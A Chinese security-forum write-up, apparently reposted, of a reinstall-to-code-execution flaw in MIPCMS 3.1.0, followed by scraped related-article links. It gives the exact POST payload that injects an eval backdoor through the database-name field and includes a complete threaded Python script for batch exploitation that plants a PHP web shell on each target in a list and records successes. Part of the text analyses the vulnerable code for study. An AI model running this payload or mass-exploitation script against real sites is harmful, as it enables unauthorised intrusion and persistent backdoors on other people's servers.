作者:i春秋作家——F0rmat

0×01 前言

今天翻了下CNVD,看到了一个MIPCMS的远程代码执行漏洞,然后就去官网下载了这个版本的源码研究了下。看下整体的结构,用的是thinkPHP的架构,看到了install这个文件没有可以绕过install.lock进行重装,但是里面有一个一定要验证数据库,又要找一个SQL的注入漏洞。
想起前几天大表哥Bypass发了一篇好像是关于mipcms的漏洞,赶紧去翻了一下,又学到不少技巧,这个技巧可以用在我上次发的一篇ZZCMS 8.2任意文件删除至Getshell的文章,里面有有个getshell的操作,但是也是要数据库的验证,用上这个技巧也不需要SQL注入也可以getshell了。

关于排版问题,我也想了许多,我写的是markdown的格式,但是论坛对于这种格式效果还算挺兼容的,就是看起来有一些不美观,我就换了种方式进行写,之前我都是放代码然后在上面写解析,这样看起来有点密密麻麻,所以我就直接放代码然后在代码里面写注释,有重要的点就写在外面,这样一来看起来整个文章就很整洁了。

0×02 环境

程序源码下载:http://www.mipcms.cn/mipcms-3.1.0.zip
Web环境:Deepin Linux+Apache2+PHP5.6+MySQL(192.168.1.101)
远程数据库服务器:Windows 10 x64(192.168.1.102)

0×03 漏洞利用过程

  1. 我们先正常安装程序

2.在远程数据库服务器上面开启远程访问,然后在上面建立一个名为test',1=>eval(file_get_contents('php://input')),'2'=>'数据库。

3.浏览器访问:http://www.getpass.test//index.php?s=/install/Install/installPost

POST:

username=admin&password=admin&rpassword=admin&dbport=3306&dbname=test',1=>eval(file_get_contents('php://input')),'2'=>'&dbhost=192.168.1.102&dbuser=root&dbpw=root

记得里面的数据库对应上你远程数据库服务器的信息!

可以看到一句把eval函数写到了配置文件里面了

4.执行代码,具体原理我会在后面构造poc的再详细讲解

浏览器访问:http://www.getpass.test/system/config/database.php

POST:phpinfo();

0×04 框架知识补充

还有人可能不怎么了解这个thinkPHP的框架,我在这里简单讲解下,最好还是去官方解读下https://www.kancloud.cn/manual/thinkphp5/118003

首先我们现在thinkPHP的配置文件/system/config/config.php里面修改下面这两个为true

然后去打开网站(这个适合刚刚搭建还没开始安装),它会自动跳转到安装的页面。做了刚才的设置后会在右下角出现一个小绿帽,点击就可以看到文件的加载流程。

这里有很多文件会预加载,我们主要看它的路由文件Route.php

我们可以看到,这里检查了install.lock文件存不存在,如果不存在就会跳转到安装的界面进行安装。

0×05 漏洞代码分析过程

/app/install/controller/Install.php问题出现在这个文件,它里面的就在index这里检查的install.lock的存在,但是在installPost这个方法里面却没有检查,也没有做关联,在install.html里面直接就跳过了,从而导致了程序重装。

下面直接按照顺序读下面的代码就行了,我都注释好了。就有两个点:

  1. 一个是遍历数据库内容那里,我输出了$matches截图这个内容给你们好理解。

2.再一个是配置文件的替换,读到$conf = str_replace("#{$key}#", $value, $conf);这句的时候我顺便截图了一个配置的内容。

0×06 Payload构造

  1. 从上面的代码分析下来,我们可以晓得,必须要传入的值有
    username password rpassword dbport dbname dbhost dbuser dbpw
    用户名密码这些可以随便写,但是数据库这个在你不晓得数据库信息的时候是无法进行下去的,因为通过上面的代码分析,如果数据库连接不成功就会退出。
    看Bypass大表哥的方法,我一想,特么gb,我咋没想到这种方法呢,wocao。dbhost不是可以填服务器地址么,我们在一个服务器上面搭建一个然后进行连接不就行了么,哈哈哈。
  2. 数据库的问题解决了,我们要怎么样写到数据库文件里面呢。写到里面的就有这几个值,数据库的服务器地址和用户名密码是不能动的了,因为Mysql用户默认是16位,可以修改位数,但是数据库会把,自动转换为.,数据库密码是加密的,还有prefix这个参数修改了会造成创建表的出现错误导致程序不能正常执行。

那么我们构造的写进去的信息就不能破坏里面的结构,我们就只能用dbname了。

3.还有一个问题,如果我们直接构造一句话木马也不行,因为上面$dbname=strtolower(input('post.dbname'))这里用了转换小写,所以一句话的$_POST$_GET就不能用了,不能用这个我们还可以用PHP的协议php://input来接受值然后用eval和assert来执行。
我在这里就不再讲解这个协议了,论坛有一篇文章是专门讲这个的,还挺详细的:https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=27441

4.从上面代码分析,我们可以看出,替换值后面会加上',,所以我们要对应上test',1=>eval(file_get_contents('php://input')),'2'=>'
最终的Payload:

username=admin&password=admin&rpassword=admin&dbport=3306&dbname=test’,1=>eval(file_get_contents(‘php://input’)),’2′=>’&dbhost=192.168.1.102&dbuser=root&dbpw=root

0×07 用Python编写批量getshell脚本

我把配置都写在里面了,需要修改数据库信息直接在代码里面改了,如果加在参数会比较麻烦。

#!/usr/bin/env
#author:F0rmat
import sys
import requests
import threading def exploit(target):     dbhost='192.168.1.102'     dbuser = 'root'     dbpw = 'root'     dbport=3306     dbname="test',1=>eval(file_get_contents('php://input')),'2'=>'"     if sys.argv[1]== "-f":         target=target[0]     url1=target+"/index.php?s=/install/Install/installPost"     data={         "username": "admin",         "password":  "admin",         "rpassword": "admin",         "dbport": dbport,         "dbname": dbname,         "dbhost": dbhost,         "dbuser": dbuser,         "dbpw": dbpw,     }     payload = "fwrite(fopen('shell.php','w'),'<?php @eval($_POST[f0rmat])?>f0rmat');"     url2=target+"/system/config/database.php"     shell = target+'/system/config/shell.php'     try:         requests.post(url1,data=data).content         requests.post(url2, data=payload)         verify = requests.get(shell, timeout=3)         if "f0rmat" in verify.content:             print 'Write success,shell url:',shell,'pass:f0rmat'             with open("success.txt","a+") as f:                 f.write(shell+'  pass:f0rmat'+"\n")         else:             print target,'Write failure!'     except Exception, e:         print e def main():     if len(sys.argv)<3:         print 'python mipcms_3.1.0.py -h target/-f target-file '     else:         if sys.argv[1] == "-h":             exploit(sys.argv[2])         elif sys.argv[1] == "-f":             with open(sys.argv[2], "r") as f:                 b = f.readlines()                 for i in xrange(len(b)):                     if not b[i] == "\n":                         threading.Thread(target=exploit, args=(b[i].split(),)).start() if __name__ == '__main__':     main()

0×08 参考

https://github.com/F0r3at/Python-Tools/tree/master/Mipcms
http://www.cnvd.org.cn/flaw/show/CNVD-2018-02516
http://mp.weixin.qq.com/s?__biz=MzA3NzE2MjgwMg==&mid=301419963&idx=1&sn=0cb82aa5629b6432415c93d9f2b8eb8c&chksm=0b55dde63c2254f04399a7afa7f49a3889e8eaa37d747ec1a1b70f00cc0bf94c764db1295a11&mpshare=1&scene=23&srcid=0321pbJgBla01aN1U5GZXNlG#rd

转载于:https://www.cnblogs.com/ichunqiujishu/p/8669792.html

MIPCMS V3.1.0 远程写入配置文件Getshell过程分析(附批量getshell脚本)相关推荐

  1. 【代码审计】MIPCMS 远程写入配置文件Getshell

    0x00 环境准备 MIPCMS官网:https://www.mipcms.cn 网站源码版本:MIPCMS内容管理系统 V3.1.0(发布时间:2018-01-01) 程序源码下载:http://w ...

  2. 魔众文库系统 v3.5.0 预览页数调整,批量操作命令,多处优化

    魔众文库系统基于文档系统知识,建立平台与领域,打造流量.用户.付费和变现的闭环,帮助您更好的搭建文库系统. 魔众文库系统发布v3.5.0版本,新功能和Bug修复累计23项,预览页数调整,批量操作命令, ...

  3. golang 远程批量执行shell_S2061远程代码执行漏洞复现及批量检测脚本(CVE202017530)...

    声明 由于传播.利用此文所提供的信息或工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,博鸿科技安全服务中心以及文章作者不为此承担任何责任. 博鸿科技安全服务中心拥有对此文章的修改和解释权 ...

  4. 网易云信SDK V3.2.0版发布啦!

    网易云信V3.2.0版升级发布啦!本次版本发布的主要功能有:安卓添加64位支持.安卓接入小米推送.多人白板.多人白板的服务端录制,新增多端会话消息已读未读同步.新增音视频通话未接通状态的抄送.iOS的 ...

  5. 基于Spring Cloud微服务化开发平台-Cloud Platform后台管理系统 v3.1.0

    介绍: Cloud-Platform是国内首个基于Spring Cloud微服务化开发平台,具有统一授权.认证后台管理系统,其中包含具备用户管理.资源权限管理.网关API 管理等多个模块,支持多业务系 ...

  6. zookeeper管理mysql_Mysql系列九:使用zookeeper管理远程Mycat配置文件、Mycat监控、Mycat数据迁移(扩容)...

    一.使用zookeeper管理远程Mycat配置文件 环境准备: 虚拟机192.168.152.130: zookeeper,具体参考前面文章 虚拟机192.168.152.128: 安装好Mycat ...

  7. Inno Setup选择语言并写入配置文件、翻译提示信息

    制作一个支持多种语言的安装包,应当具备以下几种能力: 读取系统语言设置,并作为启动时的默认语言 可选择安装的语言,随后显示对应语言的的安装提示语 将选择的语言写入到配置文件,以供程序运行时进行判断 对 ...

  8. prometheus remote write for springboot 远程写入<一>

    prometheus启动参数 --enable-feature=remote-write-receiver 准备 remote.proto types.proto gogo.proto protoc- ...

  9. 华为服务器网口ip配置文件,服务器远程ip配置文件

    服务器远程ip配置文件 内容精选 换一换 已获取自动化工具包,并上传到服务器完成解压,得到完整的软件文件夹tsdbtool.已下载依赖:GCC-7.3.0.CMake-3.5.2的源码包,放到tsdb ...

最新文章

  1. linux控制命令使用限制,【L-shell】Linux 系统下 限制用户的活动目录,控制用户使用命令的权限。...
  2. 前端学习(3096):vue+element今日头条管理-回顾
  3. 第三节: EF调用普通SQL语句的两类封装(ExecuteSqlCommand和SqlQuery )
  4. 减治法在查找算法中的应用(JAVA)--二叉查找树的查找、插入、删除
  5. 如何手动删除不需要的windows服务
  6. (74)信号发生器DDS三角波设计(二)(第15天)
  7. 华为手机服务器位置,华为手机怎么查看云服务器地址
  8. 怎样做一份良好的竞品分析?通常有哪些方法?
  9. 战舰世界显示无法连接服务器失败,王美雪:战舰世界无法连接服务器解决方法 无法登陆怎么办...
  10. 吉他调音器(1)之十二平均律
  11. java中int count什么意思_int groupCount()
  12. 张飞流水账:超级搞笑诠释人生哲理
  13. CSS3 仿古墓丽影9菜单界面
  14. python3通过request多进程获取驾校一点通试题库
  15. Mysql IFNULL SUM 结合使用无效的问题
  16. 完成端口 完成端口 完成端口 还是完成端口
  17. OC8051内部逻辑分析(1)
  18. 【JAVA开发规范】日志规范
  19. 计算机启动时最先运行的程序储存在,2012年自考计算机应用基础试题及答案
  20. app毕业设计开题报告基于Uniapp+SSM实现的安卓的掌上校园系统[包运行成功]计算机毕业论文

热门文章

  1. 三天学会opencv(十三)——阈值操作
  2. cesium实现三维空间量测功能
  3. Oracle Application Server 10.1.3.0 for IBM X346 (Linux X86)安装手册
  4. BadCopy3.0
  5. Android 仿微信聊天图片
  6. 2015年第1本读书行动笔记:《把你的英语用起来》
  7. ai计算机当前不支持的字体,字体arial不支持样式regular的解决方法
  8. iOS 根据IP获取位置
  9. 打造H5动感影集的爱恨情仇–动画性能篇
  10. iOS GPUImage研究七:动态相册初探(水印)